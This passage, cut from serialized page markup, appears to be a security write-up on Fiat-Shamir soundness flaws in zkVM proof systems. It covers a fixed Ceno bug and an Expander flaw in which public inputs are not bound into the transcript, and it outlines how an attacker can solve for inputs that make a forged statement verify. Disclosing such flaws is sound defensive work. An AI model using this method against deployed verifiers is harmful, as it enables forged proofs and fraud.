3,"tag":481,"props":117966,"children":117968},{"className":117967,"style":1597},[1596],[],{"type":23,"tag":481,"props":117970,"children":117972},{"className":117971},[1602,1603,1604,1605],[117973],{"type":23,"tag":481,"props":117974,"children":117976},{"className":117975},[1555,1605],[117977],{"type":28,"value":1558},{"type":23,"tag":481,"props":117979,"children":117981},{"className":117980},[19243],[117982],{"type":28,"value":19246},{"type":23,"tag":481,"props":117984,"children":117986},{"className":117985},[1582],[117987],{"type":23,"tag":481,"props":117988,"children":117990},{"className":117989,"style":90662},[1587],[117991],{"type":23,"tag":481,"props":117992,"children":117993},{},[],{"type":23,"tag":481,"props":117995,"children":117997},{"className":117996},[19237],[117998],{"type":28,"value":642},{"type":28,"value":199},{"type":23,"tag":24,"props":118001,"children":118002},{},[118003,118005,118158],{"type":28,"value":118004},"We have two unknowns ",{"type":23,"tag":64,"props":118006,"children":118008},{"className":118007},[1527,1528],[118009],{"type":23,"tag":481,"props":118010,"children":118012},{"className":118011},[1533],[118013],{"type":23,"tag":481,"props":118014,"children":118016},{"className":118015,"ariaHidden":1539},[1538],[118017],{"type":23,"tag":481,"props":118018,"children":118020},{"className":118019},[1544],[118021,118025,118030,118087,118092,118096,118153],{"type":23,"tag":481,"props":118022,"children":118024},{"className":118023,"style":1657},[1549],[],{"type":23,"tag":481,"props":118026,"children":118028},{"className":118027},[19215],[118029],{"type":28,"value":618},{"type":23,"tag":481,"props":118031,"children":118033},{"className":118032},[1555],[118034,118039],{"type":23,"tag":481,"props":118035,"children":118037},{"className":118036},[1555,19086],[118038],{"type":28,"value":16772},{"type":23,"tag":481,"props":118040,"children":118042},{"className":118041},[1572],[118043],{"type":23,"tag":481,"props":118044,"children":118046},{"className":118045},[1577,19140],[118047,118076],{"type":23,"tag":481,"props":118048,"children":118050},{"className":118049},[1582],[118051,118071],{"type":23,"tag":481,"props":118052,"children":118054},{"className":118053,"style":90631},[1587],[118055],{"type":23,"tag":481,"props":118056,"children":118057},{"style":90635},[118058,118062],{"type":23,"tag":481,"props":118059,"children":118061},{"className":118060,"style":1597},[1596],[],{"type":23,"tag":481,"props":118063,"children":118065},{"className":118064},[1602,1603,1604,1605],[118066],{"type":23,"tag":481,"props":118067,"children":118069},{"className":118068},[1555,1605],[118070],{"type":28,"value":1568},{"type":23,"tag":481,"props":118072,"children":118074},{"className":118073},[19243],[118075],{"type":28,"value":19246},{"type":23,"tag":481,"props":118077,"children":118079},{"className":118078},[1582],[118080],{"type":23,"tag":481,"props":118081,"children":118083},{"className":118082,"style":90662},[1587],[118084],{"type":23,"tag":481,"props":118085,"children":118086},{},[],{"type":23,"tag":481,"props":118088,"children":118090},{"className":118089},[1668],[118091],{"type":28,"value":1671},{"type":23,"tag":481,"props":118093,"children":118095},{"className":118094,"style":1675},[1636],[],{"type":23,"tag":481,"props":118097,"children":118099},{"className":118098},[1555],[118100,118105],{"type":23,"tag":481,"props":118101,"children":118103},{"className":118102},[1555,19086],[118104],{"type":28,"value":16772},{"type":23,"tag":481,"props":118106,"children":118108},{"className":118107},[1572],[118109],{"type":23,"tag":481,"props":118110,"children":118112},{"className":118111},[1577,19140],[118113,118142],{"type":23,"tag":481,"props":118114,"children":118116},{"className":118115},[1582],[118117,118137],{"type":23,"tag":481,"props":118118,"children":118120},{"className":118119,"style":90631},[1587],[118121],{"type":23,"tag":481,"props":118122,"children":118123},{"style":90635},[118124,118128],{"type":23,"tag":481,"props":118125,"children":118127},{"className":118126,"style":1597},[1596],[],{"type":23,"tag":481,"props":118129,"children":118131},{"className":118130},[1602,1603,1604,1605],[118132],{"type":23,"tag":481,"props":118133,"children":118135},{"className":118134},[1555,1605],[118136],{"type":28,"value":1558},{"type":23,"tag":481,"props":118138,"children":118140},{"className":118139},[19243],[118141],{"type":28,"value":19246},{"type":23,"tag":481,"props":118143,"children":118145},{"className":118144},[1582],[118146],{"type":23,"tag":481,"props":118147,"children":118149},{"className":118148,"style":90662},[1587],[118150],{"type":23,"tag":481,"props":118151,"children":118152},{},[],{"type":23,"tag":481,"props":118154,"children":118156},{"className":118155},[19237],[118157],{"type":28,"value":642},{"type":28,"value":118159}," and two equations, one linear and one bilinear:",{"type":23,"tag":73,"props":118161,"children":118162},{},[118163,118490],{"type":23,"tag":77,"props":118164,"children":118165},{},[118166,118168],{"type":28,"value":118167},"Linear (from GKR): ",{"type":23,"tag":64,"props":118169,"children":118171},{"className":118170},[1527,1528],[118172],{"type":23,"tag":481,"props":118173,"children":118175},{"className":118174},[1533],[118176],{"type":23,"tag":481,"props":118177,"children":118179},{"className":118178,"ariaHidden":1539},[1538],[118180,118316,118451,118477],{"type":23,"tag":481,"props":118181,"children":118183},{"className":118182},[1544],[118184,118189,118246,118303,118307,118312],{"type":23,"tag":481,"props":118185,"children":118188},{"className":118186,"style":118187},[1549],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":118190,"children":118192},{"className":118191},[1555],[118193,118198],{"type":23,"tag":481,"props":118194,"children":118196},{"className":118195},[1555,19086],[118197],{"type":28,"value":190},{"type":23,"tag":481,"props":118199,"children":118201},{"className":118200},[1572],[118202],{"type":23,"tag":481,"props":118203,"children":118205},{"className":118204},[1577,19140],[118206,118235],{"type":23,"tag":481,"props":118207,"children":118209},{"className":118208},[1582],[118210,118230],{"type":23,"tag":481,"props":118211,"children":118213},{"className":118212,"style":90631},[1587],[118214],{"type":23,"tag":481,"props":118215,"children":118216},{"style":90635},[118217,118221],{"type":23,"tag":481,"props":118218,"children":118220},{"className":118219,"style":1597},[1596],[],{"type":23,"tag":481,"props":118222,"children":118224},{"className":118223},[1602,1603,1604,1605],[118225],{"type":23,"tag":481,"props":118226,"children":118228},{"className":118227},[1555,1605],[118229],{"type":28,"value":1568},{"type":23,"tag":481,"props":118231,"children":118233},{"className":118232},[19243],[118234],{"type":28,"value":19246},{"type":23,"tag":481,"props":118236,"children":118238},{"className":118237},[1582],[118239],{"type":23,"tag":481,"props":118240,"children":118242},{"className":118241,"style":90662},[1587],[118243],{"type":23,"tag":481,"props":118244,"children":118245},{},[],{"type":23,"tag":481,"props":118247,"children":118249},{"className":118248},[1555],[118250,118255],{"type":23,"tag":481,"props":118251,"children":118253},{"className":118252},[1555,19086],[118254],{"type":28,"value":16772},{"type":23,"tag":481,"props":118256,"children":118258},{"className":118257},[1572],[118259],{"type":23,"tag":481,"props":118260,"children":118262},{"className":118261},[1577,19140],[118263,118292],{"type":23,"tag":481,"props":118264,"children":118266},{"className":118265},[1582],[118267,118287],{"type":23,"tag":481,"props":118268,"children":118270},{"className":118269,"style":90631},[1587],[118271],{"type":23,"tag":481,"props":118272,"children":118273},{"style":90635},[118274,118278],{"type":23,"tag":481,"props":118275,"children":118277},{"className":118276,"style":1597},[1596],[],{"type":23,"tag":481,"props":118279,"children":118281},{"className":118280},[1602,1603,1604,1605],[118282],{"type":23,"tag":481,"props":118283,"children":118285},{"className":118284},[1555,1605],[118286],{"type":28,"value":1568},{"type":23,"tag":481,"props":118288,"children":118290},{"className":118289},[19243],[118291],{"type":28,"value":19246},{"type":23,"tag":481,"props":118293,"children":118295},{"className":118294},[1582],[118296],{"type":23,"tag":481,"props":118297,"children":118299},{"className":118298,"style":90662},[1587],[118300],{"type":23,"tag":481,"props":118301,"children":118302},{},[],{"type":23,"tag":481,"props":118304,"children":118306},{"className":118305,"style":1637},[1636],[],{"type":23,"tag":481,"props":118308,"children":118310},{"className":118309},[1642],[118311],{"type":28,"value":1930},{"type":23,"tag":481,"props":118313,"children":118315},{"className":118314,"style":1637},[1636],[],{"type":23,"tag":481,"props":118317,"children":118319},{"className":118318},[1544],[118320,118324,118381,118438,118442,118447],{"type":23,"tag":481,"props":118321,"children":118323},{"className":118322,"style":118187},[1549],[],{"type":23,"tag":481,"props":118325,"children":118327},{"className":118326},[1555],[118328,118333],{"type":23,"tag":481,"props":118329,"children":118331},{"className":118330},[1555,19086],[118332],{"type":28,"value":190},{"type":23,"tag":481,"props":118334,"children":118336},{"className":118335},[1572],[118337],{"type":23,"tag":481,"props":118338,"children":118340},{"className":118339},[1577,19140],[118341,118370],{"type":23,"tag":481,"props":118342,"children":118344},{"className":118343},[1582],[118345,118365],{"type":23,"tag":481,"props":118346,"children":118348},{"className":118347,"style":90631},[1587],[118349],{"type":23,"tag":481,"props":118350,"children":118351},{"style":90635},[118352,118356],{"type":23,"tag":481,"props":118353,"children":118355},{"className":118354,"style":1597},[1596],[],{"type":23,"tag":481,"props":118357,"children":118359},{"className":118358},[1602,1603,1604,1605],[118360],{"type":23,"tag":481,"props":118361,"children":118363},{"className":118362},[1555,1605],[118364],{"type":28,"value":1558},{"type":23,"tag":481,"props":118366,"children":118368},{"className":118367},[19243],[118369],{"type":28,"value":19246},{"type":23,"tag":481,"props":118371,"children":118373},{"className":118372},[1582],[118374],{"type":23,"tag":481,"props":118375,"children":118377},{"className":118376,"style":90662},[1587],[118378],{"type":23,"tag":481,"props":118379,"children":118380},{},[],{"type":23,"tag":481,"props":118382,"children":118384},{"className":118383},[1555],[118385,118390],{"type":23,"tag":481,"props":118386,"children":118388},{"className":118387},[1555,19086],[118389],{"type":28,"value":16772},{"type":23,"tag":481,"props":118391,"children":118393},{"className":118392},[1572],[118394],{"type":23,"tag":481,"props":118395,"children":118397},{"className":118396},[1577,19140],[118398,118427],{"type":23,"tag":481,"props":118399,"children":118401},{"className":118400},[1582],[118402,118422],{"type":23,"tag":481,"props":118403,"children":118405},{"className":118404,"style":90631},[1587],[118406],{"type":23,"tag":481,"props":118407,"children":118408},{"style":90635},[118409,118413],{"type":23,"tag":481,"props":118410,"children":118412},{"className":118411,"style":1597},[1596],[],{"type":23,"tag":481,"props":118414,"children":118416},{"className":118415},[1602,1603,1604,1605],[118417],{"type":23,"tag":481,"props":118418,"children":118420},{"className":118419},[1555,1605],[118421],{"type":28,"value":1558},{"type":23,"tag":481,"props":118423,"children":118425},{"className":118424},[19243],[118426],{"type":28,"value":19246},{"type":23,"tag":481,"props":118428,"children":118430},{"className":118429},[1582],[118431],{"type":23,"tag":481,"props":118432,"children":118434},{"className":118433,"style":90662},[1587],[118435],{"type":23,"tag":481,"props":118436,"children":118437},{},[],{"type":23,"tag":481,"props":118439,"children":118441},{"className":118440,"style":1637},[1636],[],{"type":23,"tag":481,"props":118443,"children":118445},{"className":118444},[1642],[118446],{"type":28,"value":1930},{"type":23,"tag":481,"props":118448,"children":118450},{"className":118449,"style":1637},[1636],[],{"type":23,"tag":481,"props":118452,"children":118454},{"className":118453},[1544],[118455,118459,118464,118468,118473],{"type":23,"tag":481,"props":118456,"children":118458},{"className":118457,"style":108420},[1549],[],{"type":23,"tag":481,"props":118460,"children":118462},{"className":118461},[1555,19086],[118463],{"type":28,"value":661},{"type":23,"tag":481,"props":118465,"children":118467},{"className":118466,"style":1734},[1636],[],{"type":23,"tag":481,"props":118469,"children":118471},{"className":118470},[1739],[118472],{"type":28,"value":603},{"type":23,"tag":481,"props":118474,"children":118476},{"className":118475,"style":1734},[1636],[],{"type":23,"tag":481,"props":118478,"children":118480},{"className":118479},[1544],[118481,118485],{"type":23,"tag":481,"props":118482,"children":118484},{"className":118483,"style":91610},[1549],[],{"type":23,"tag":481,"props":118486,"children":118488},{"className":118487},[1555],[118489],{"type":28,"value":1568},{"type":23,"tag":77,"props":118491,"children":118492},{},[118493,118495],{"type":28,"value":118494},"Bilinear (from multiset): ",{"type":23,"tag":64,"props":118496,"children":118498},{"className":118497},[1527,1528],[118499],{"type":23,"tag":481,"props":118500,"children":118502},{"className":118501},[1533],[118503],{"type":23,"tag":481,"props":118504,"children":118506},{"className":118505,"ariaHidden":1539},[1538],[118507,118533,118611,118689,118715],{"type":23,"tag":481,"props":118508,"children":118510},{"className":118509},[1544],[118511,118515,118520,118524,118529],{"type":23,"tag":481,"props":118512,"children":118514},{"className":118513,"style":90494},[1549],[],{"type":23,"tag":481,"props":118516,"children":118518},{"className":118517,"style":92008},[1555,19086],[118519],{"type":28,"value":86216},{"type":23,"tag":481,"props":118521,"children":118523},{"className":118522,"style":1637},[1636],[],{"type":23,"tag":481,"props":118525,"children":118527},{"className":118526},[1642],[118528],{"type":28,"value":108841},{"type":23,"tag":481,"props":118530,"children":118532},{"className":118531,"style":1637},[1636],[],{"type":23,"tag":481,"props":118534,"children":118536},{"className":118535},[1544],[118537,118541,118598,118602,118607],{"type":23,"tag":481,"props":118538,"children":118540},{"className":118539,"style":117633},[1549],[],{"type":23,"tag":481,"props":118542,"children":118544},{"className":118543},[1555],[118545,118550],{"type":23,"tag":481,"props":118546,"children":118548},{"className":118547},[1555,19086],[118549],{"type":28,"value":16772},{"type":23,"tag":481,"props":118551,"children":118553},{"className":118552},[1572],[118554],{"type":23,"tag":481,"props":118555,"children":118557},{"className":118556},[1577,19140],[118558,118587],{"type":23,"tag":481,"props":118559,"children":118561},{"className":118560},[1582],[118562,118582],{"type":23,"tag":481,"props":118563,"children":118565},{"className":118564,"style":90631},[1587],[118566],{"type":23,"tag":481,"props":118567,"children":118568},{"style":90635},[118569,118573],{"type":23,"tag":481,"props":118570,"children":118572},{"className":118571,"style":1597},[1596],[],{"type":23,"tag":481,"props":118574,"children":118576},{"className":118575},[1602,1603,1604,1605],[118577],{"type":23,"tag":481,"props":118578,"children":118580},{"className":118579},[1555,1605],[118581],{"type":28,"value":1568},{"type":23,"tag":481,"props":118583,"children":118585},{"className":118584},[19243],[118586],{"type":28,"value":19246},{"type":23,"tag":481,"props":118588,"children":118590},{"className":118589},[1582],[118591],{"type":23,"tag":481,"props":118592,"children":118594},{"className":118593,"style":90662},[1587],[118595],{"type":23,"tag":481,"props":118596,"children":118597},{},[],{"type":23,"tag":481,"props":118599,"children":118601},{"className":118600,"style":1637},[1636],[],{"type":23,"tag":481,"props":118603,"children":118605},{"className":118604},[1642],[118606],{"type":28,"value":108841},{"type":23,"tag":481,"props":118608,"children":118610},{"className":118609,"style":1637},[1636],[],{"type":23,"tag":481,"props":118612,"children":118614},{"className":118613},[1544],[118615,118619,118676,118680,118685],{"type":23,"tag":481,"props":118616,"children":118618},{"className":118617,"style":118187},[1549],[],{"type":23,"tag":481,"props":118620,"children":118622},{"className":118621},[1555],[118623,118628],{"type":23,"tag":481,"props":118624,"children":118626},{"className":118625},[1555,19086],[118627],{"type":28,"value":16772},{"type":23,"tag":481,"props":118629,"children":118631},{"className":118630},[1572],[118632],{"type":23,"tag":481,"props":118633,"children":118635},{"className":118634},[1577,19140],[118636,118665],{"type":23,"tag":481,"props":118637,"children":118639},{"className":118638},[1582],[118640,118660],{"type":23,"tag":481,"props":118641,"children":118643},{"className":118642,"style":90631},[1587],[118644],{"type":23,"tag":481,"props":118645,"children":118646},{"style":90635},[118647,118651],{"type":23,"tag":481,"props":118648,"children":118650},{"className":118649,"style":1597},[1596],[],{"type":23,"tag":481,"props":118652,"children":118654},{"className":118653},[1602,1603,1604,1605],[118655],{"type":23,"tag":481,"props":118656,"children":118658},{"className":118657},[1555,1605],[118659],{"type":28,"value":1558},{"type":23,"tag":481,"props":118661,"children":118663},{"className":118662},[19243],[118664],{"type":28,"value":19246},{"type":23,"tag":481,"props":118666,"children":118668},{"className":118667},[1582],[118669],{"type":23,"tag":481,"props":118670,"children":118672},{"className":118671,"style":90662},[1587],[118673],{"type":23,"tag":481,"props":118674,"children":118675},{},[],{"type":23,"tag":481,"props":118677,"children":118679},{"className":118678,"style":1637},[1636],[],{"type":23,"tag":481,"props":118681,"children":118683},{"className":118682},[1642],[118684],{"type":28,"value":1930},{"type":23,"tag":481,"props":118686,"children":118688},{"className":118687,"style":1637},[1636],[],{"type":23,"tag":481,"props":118690,"children":118692},{"className":118691},[1544],[118693,118697,118702,118706,118711],{"type":23,"tag":481,"props":118694,"children":118696},{"className":118695,"style":90494},[1549],[],{"type":23,"tag":481,"props":118698,"children":118700},{"className":118699},[1555,19086],[118701],{"type":28,"value":68094},{"type":23,"tag":481,"props":118703,"children":118705},{"className":118704,"style":1734},[1636],[],{"type":23,"tag":481,"props":118707,"children":118709},{"className":118708},[1739],[118710],{"type":28,"value":603},{"type":23,"tag":481,"props":118712,"children":118714},{"className":118713,"style":1734},[1636],[],{"type":23,"tag":481,"props":118716,"children":118718},{"className":118717},[1544],[118719,118723],{"type":23,"tag":481,"props":118720,"children":118722},{"className":118721,"style":91610},[1549],[],{"type":23,"tag":481,"props":118724,"children":118726},{"className":118725},[1555],[118727],{"type":28,"value":1568},{"type":23,"tag":24,"props":118729,"children":118730},{},[118731],{"type":28,"value":118732},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":118734,"children":118735},{},[118736,118740,118742,118749,118751,118758],{"type":23,"tag":2875,"props":118737,"children":118738},{},[118739],{"type":28,"value":114289},{"type":28,"value":118741}," Fixed on March 5, 2026 via ",{"type":23,"tag":190,"props":118743,"children":118746},{"href":118744,"rel":118745},"https://github.com/scroll-tech/ceno/pull/1262",[194],[118747],{"type":28,"value":118748},"PR #1262",{"type":28,"value":118750}," (original report: ",{"type":23,"tag":190,"props":118752,"children":118755},{"href":118753,"rel":118754},"https://github.com/scroll-tech/ceno/issues/1125",[194],[118756],{"type":28,"value":118757},"#1125",{"type":28,"value":642},{"type":23,"tag":16288,"props":118760,"children":118761},{},[],{"type":23,"tag":7092,"props":118763,"children":118765},{"id":118764},"expander-polyhedra",[118766],{"type":28,"value":118767},"Expander (Polyhedra)",{"type":23,"tag":24,"props":118769,"children":118770},{},[118771],{"type":28,"value":118772},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":118774,"children":118775},{},[118776],{"type":23,"tag":2875,"props":118777,"children":118778},{},[118779],{"type":28,"value":112995},{"type":23,"tag":435,"props":118781,"children":118783},{"code":118782},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[118784],{"type":23,"tag":64,"props":118785,"children":118786},{"__ignoreMap":7},[118787],{"type":28,"value":118782},{"type":23,"tag":24,"props":118789,"children":118790},{},[118791,118793,118799],{"type":28,"value":118792},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":64,"props":118794,"children":118796},{"className":118795},[],[118797],{"type":28,"value":118798},"eval_cst",{"type":28,"value":118800}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":435,"props":118802,"children":118804},{"code":118803,"language":474,"meta":7,"className":475,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[118805],{"type":23,"tag":64,"props":118806,"children":118807},{"__ignoreMap":7},[118808],{"type":23,"tag":481,"props":118809,"children":118810},{"class":483,"line":484},[118811,118815,118820,118825,118829,118833,118837,118841,118846,118850,118855,118860,118864,118869],{"type":23,"tag":481,"props":118812,"children":118813},{"style":508},[118814],{"type":28,"value":74164},{"type":23,"tag":481,"props":118816,"children":118817},{"style":514},[118818],{"type":28,"value":118819}," -=",{"type":23,"tag":481,"props":118821,"children":118822},{"style":943},[118823],{"type":28,"value":118824}," GKRVerifierHelper",{"type":23,"tag":481,"props":118826,"children":118827},{"style":514},[118828],{"type":28,"value":1006},{"type":23,"tag":481,"props":118830,"children":118831},{"style":610},[118832],{"type":28,"value":118798},{"type":23,"tag":481,"props":118834,"children":118835},{"style":525},[118836],{"type":28,"value":618},{"type":23,"tag":481,"props":118838,"children":118839},{"style":514},[118840],{"type":28,"value":623},{"type":23,"tag":481,"props":118842,"children":118843},{"style":508},[118844],{"type":28,"value":118845},"layer",{"type":23,"tag":481,"props":118847,"children":118848},{"style":514},[118849],{"type":28,"value":199},{"type":23,"tag":481,"props":118851,"children":118852},{"style":525},[118853],{"type":28,"value":118854},"const_, ",{"type":23,"tag":481,"props":118856,"children":118857},{"style":508},[118858],{"type":28,"value":118859},"public_input",{"type":23,"tag":481,"props":118861,"children":118862},{"style":525},[118863],{"type":28,"value":588},{"type":23,"tag":481,"props":118865,"children":118866},{"style":508},[118867],{"type":28,"value":118868},"sp",{"type":23,"tag":481,"props":118870,"children":118871},{"style":525},[118872],{"type":28,"value":1366},{"type":23,"tag":24,"props":118874,"children":118875},{},[118876,118878,118883],{"type":28,"value":118877},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":64,"props":118879,"children":118881},{"className":118880},[],[118882],{"type":28,"value":118868},{"type":28,"value":18240},{"type":23,"tag":24,"props":118885,"children":118886},{},[118887],{"type":23,"tag":2875,"props":118888,"children":118889},{},[118890],{"type":28,"value":118891},"The vulnerability:",{"type":23,"tag":24,"props":118893,"children":118894},{},[118895,118900],{"type":23,"tag":64,"props":118896,"children":118898},{"className":118897},[],[118899],{"type":28,"value":118859},{"type":28,"value":118901}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":118903,"children":118904},{},[118905],{"type":23,"tag":149,"props":118906,"children":118909},{"alt":118907,"src":118908},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":118911,"children":118912},{},[118913,118914,118919],{"type":28,"value":14104},{"type":23,"tag":64,"props":118915,"children":118917},{"className":118916},[],[118918],{"type":28,"value":118798},{"type":28,"value":118920}," function computes a linear combination:",{"type":23,"tag":24,"props":118922,"children":118923},{},[118924],{"type":23,"tag":64,"props":118925,"children":118927},{"className":118926},[1527,1528],[118928],{"type":23,"tag":481,"props":118929,"children":118931},{"className":118930},[1533],[118932],{"type":23,"tag":481,"props":118933,"children":118935},{"className":118934,"ariaHidden":1539},[1538],[118936,118981,119105],{"type":23,"tag":481,"props":118937,"children":118939},{"className":118938},[1544],[118940,118944,118953,118958,118968,118972,118977],{"type":23,"tag":481,"props":118941,"children":118943},{"className":118942,"style":91992},[1549],[],{"type":23,"tag":481,"props":118945,"children":118947},{"className":118946},[1555,28],[118948],{"type":23,"tag":481,"props":118949,"children":118951},{"className":118950},[1555],[118952],{"type":28,"value":35066},{"type":23,"tag":481,"props":118954,"children":118956},{"className":118955,"style":90579},[1555],[118957],{"type":28,"value":593},{"type":23,"tag":481,"props":118959,"children":118961},{"className":118960},[1555,28],[118962],{"type":23,"tag":481,"props":118963,"children":118965},{"className":118964},[1555],[118966],{"type":28,"value":118967},"cst",{"type":23,"tag":481,"props":118969,"children":118971},{"className":118970,"style":1734},[1636],[],{"type":23,"tag":481,"props":118973,"children":118975},{"className":118974},[1739],[118976],{"type":28,"value":603},{"type":23,"tag":481,"props":118978,"children":118980},{"className":118979,"style":1734},[1636],[],{"type":23,"tag":481,"props":118982,"children":118984},{"className":118983},[1544],[118985,118989,119046,119050,119077,119082,119087,119092,119096,119101],{"type":23,"tag":481,"props":118986,"children":118988},{"className":118987,"style":90521},[1549],[],{"type":23,"tag":481,"props":118990,"children":118992},{"className":118991},[19122],[118993,118998],{"type":23,"tag":481,"props":118994,"children":118996},{"className":118995,"style":19129},[19122,19127,19128],[118997],{"type":28,"value":106374},{"type":23,"tag":481,"props":118999,"children":119001},{"className":119000},[1572],[119002],{"type":23,"tag":481,"props":119003,"children":119005},{"className":119004},[1577,19140],[119006,119035],{"type":23,"tag":481,"props":119007,"children":119009},{"className":119008},[1582],[119010,119030],{"type":23,"tag":481,"props":119011,"children":119013},{"className":119012,"style":111786},[1587],[119014],{"type":23,"tag":481,"props":119015,"children":119016},{"style":19153},[119017,119021],{"type":23,"tag":481,"props":119018,"children":119020},{"className":119019,"style":1597},[1596],[],{"type":23,"tag":481,"props":119022,"children":119024},{"className":119023},[1602,1603,1604,1605],[119025],{"type":23,"tag":481,"props":119026,"children":119028},{"className":119027},[1555,19086,1605],[119029],{"type":28,"value":1274},{"type":23,"tag":481,"props":119031,"children":119033},{"className":119032},[19243],[119034],{"type":28,"value":19246},{"type":23,"tag":481,"props":119036,"children":119038},{"className":119037},[1582],[119039],{"type":23,"tag":481,"props":119040,"children":119042},{"className":119041,"style":112066},[1587],[119043],{"type":23,"tag":481,"props":119044,"children":119045},{},[],{"type":23,"tag":481,"props":119047,"children":119049},{"className":119048,"style":1675},[1636],[],{"type":23,"tag":481,"props":119051,"children":119053},{"className":119052},[1555],[119054,119063,119068],{"type":23,"tag":481,"props":119055,"children":119057},{"className":119056},[1555,28],[119058],{"type":23,"tag":481,"props":119059,"children":119061},{"className":119060},[1555],[119062],{"type":28,"value":59203},{"type":23,"tag":481,"props":119064,"children":119066},{"className":119065,"style":90579},[1555],[119067],{"type":28,"value":593},{"type":23,"tag":481,"props":119069,"children":119071},{"className":119070},[1555,28],[119072],{"type":23,"tag":481,"props":119073,"children":119075},{"className":119074},[1555],[119076],{"type":28,"value":5846},{"type":23,"tag":481,"props":119078,"children":119080},{"className":119079},[19215],[119081],{"type":28,"value":1269},{"type":23,"tag":481,"props":119083,"children":119085},{"className":119084},[1555,19086],[119086],{"type":28,"value":1274},{"type":23,"tag":481,"props":119088,"children":119090},{"className":119089},[19237],[119091],{"type":28,"value":12900},{"type":23,"tag":481,"props":119093,"children":119095},{"className":119094,"style":1637},[1636],[],{"type":23,"tag":481,"props":119097,"children":119099},{"className":119098},[1642],[119100],{"type":28,"value":108841},{"type":23,"tag":481,"props":119102,"children":119104},{"className":119103,"style":1637},[1636],[],{"type":23,"tag":481,"props":119106,"children":119108},{"className":119107},[1544],[119109,119113,119122,119127,119132,119137,119141,119190],{"type":23,"tag":481,"props":119110,"children":119112},{"className":119111,"style":1657},[1549],[],{"type":23,"tag":481,"props":119114,"children":119116},{"className":119115},[1555,28],[119117],{"type":23,"tag":481,"props":119118,"children":119120},{"className":119119},[1555],[119121],{"type":28,"value":110168},{"type":23,"tag":481,"props":119123,"children":119125},{"className":119124},[19215],[119126],{"type":28,"value":618},{"type":23,"tag":481,"props":119128,"children":119130},{"className":119129},[1555,19086],[119131],{"type":28,"value":1274},{"type":23,"tag":481,"props":119133,"children":119135},{"className":119134},[1668],[119136],{"type":28,"value":1671},{"type":23,"tag":481,"props":119138,"children":119140},{"className":119139,"style":1675},[1636],[],{"type":23,"tag":481,"props":119142,"children":119144},{"className":119143},[1555,109728],[119145],{"type":23,"tag":481,"props":119146,"children":119148},{"className":119147},[1577],[119149],{"type":23,"tag":481,"props":119150,"children":119152},{"className":119151},[1582],[119153],{"type":23,"tag":481,"props":119154,"children":119156},{"className":119155,"style":109814},[1587],[119157,119169],{"type":23,"tag":481,"props":119158,"children":119159},{"style":109745},[119160,119164],{"type":23,"tag":481,"props":119161,"children":119163},{"className":119162,"style":109750},[1596],[],{"type":23,"tag":481,"props":119165,"children":119167},{"className":119166,"style":90579},[1555,19086],[119168],{"type":28,"value":91398},{"type":23,"tag":481,"props":119170,"children":119171},{"style":109745},[119172,119176],{"type":23,"tag":481,"props":119173,"children":119175},{"className":119174,"style":109750},[1596],[],{"type":23,"tag":481,"props":119177,"children":119179},{"className":119178,"style":109838},[109768],[119180],{"type":23,"tag":481,"props":119181,"children":119183},{"className":119182,"style":109844},[109843],[119184],{"type":23,"tag":31790,"props":119185,"children":119186},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[119187],{"type":23,"tag":109856,"props":119188,"children":119189},{"d":109858},[],{"type":23,"tag":481,"props":119191,"children":119193},{"className":119192},[19237],[119194],{"type":28,"value":642},{"type":23,"tag":24,"props":119196,"children":119197},{},[119198,119199,119268,119270,119275,119277,119282],{"type":28,"value":113415},{"type":23,"tag":64,"props":119200,"children":119202},{"className":119201},[1527,1528],[119203],{"type":23,"tag":481,"props":119204,"children":119206},{"className":119205},[1533],[119207],{"type":23,"tag":481,"props":119208,"children":119210},{"className":119209,"ariaHidden":1539},[1538],[119211],{"type":23,"tag":481,"props":119212,"children":119214},{"className":119213},[1544],[119215,119219],{"type":23,"tag":481,"props":119216,"children":119218},{"className":119217,"style":109814},[1549],[],{"type":23,"tag":481,"props":119220,"children":119222},{"className":119221},[1555,109728],[119223],{"type":23,"tag":481,"props":119224,"children":119226},{"className":119225},[1577],[119227],{"type":23,"tag":481,"props":119228,"children":119230},{"className":119229},[1582],[119231],{"type":23,"tag":481,"props":119232,"children":119234},{"className":119233,"style":109814},[1587],[119235,119247],{"type":23,"tag":481,"props":119236,"children":119237},{"style":109745},[119238,119242],{"type":23,"tag":481,"props":119239,"children":119241},{"className":119240,"style":109750},[1596],[],{"type":23,"tag":481,"props":119243,"children":119245},{"className":119244,"style":90579},[1555,19086],[119246],{"type":28,"value":91398},{"type":23,"tag":481,"props":119248,"children":119249},{"style":109745},[119250,119254],{"type":23,"tag":481,"props":119251,"children":119253},{"className":119252,"style":109750},[1596],[],{"type":23,"tag":481,"props":119255,"children":119257},{"className":119256,"style":109838},[109768],[119258],{"type":23,"tag":481,"props":119259,"children":119261},{"className":119260,"style":109844},[109843],[119262],{"type":23,"tag":31790,"props":119263,"children":119264},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[119265],{"type":23,"tag":109856,"props":119266,"children":119267},{"d":109858},[],{"type":28,"value":119269}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":64,"props":119271,"children":119273},{"className":119272},[],[119274],{"type":28,"value":118859},{"type":28,"value":119276},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":64,"props":119278,"children":119280},{"className":119279},[],[119281],{"type":28,"value":118859},{"type":28,"value":119283}," that makes the verifier's check 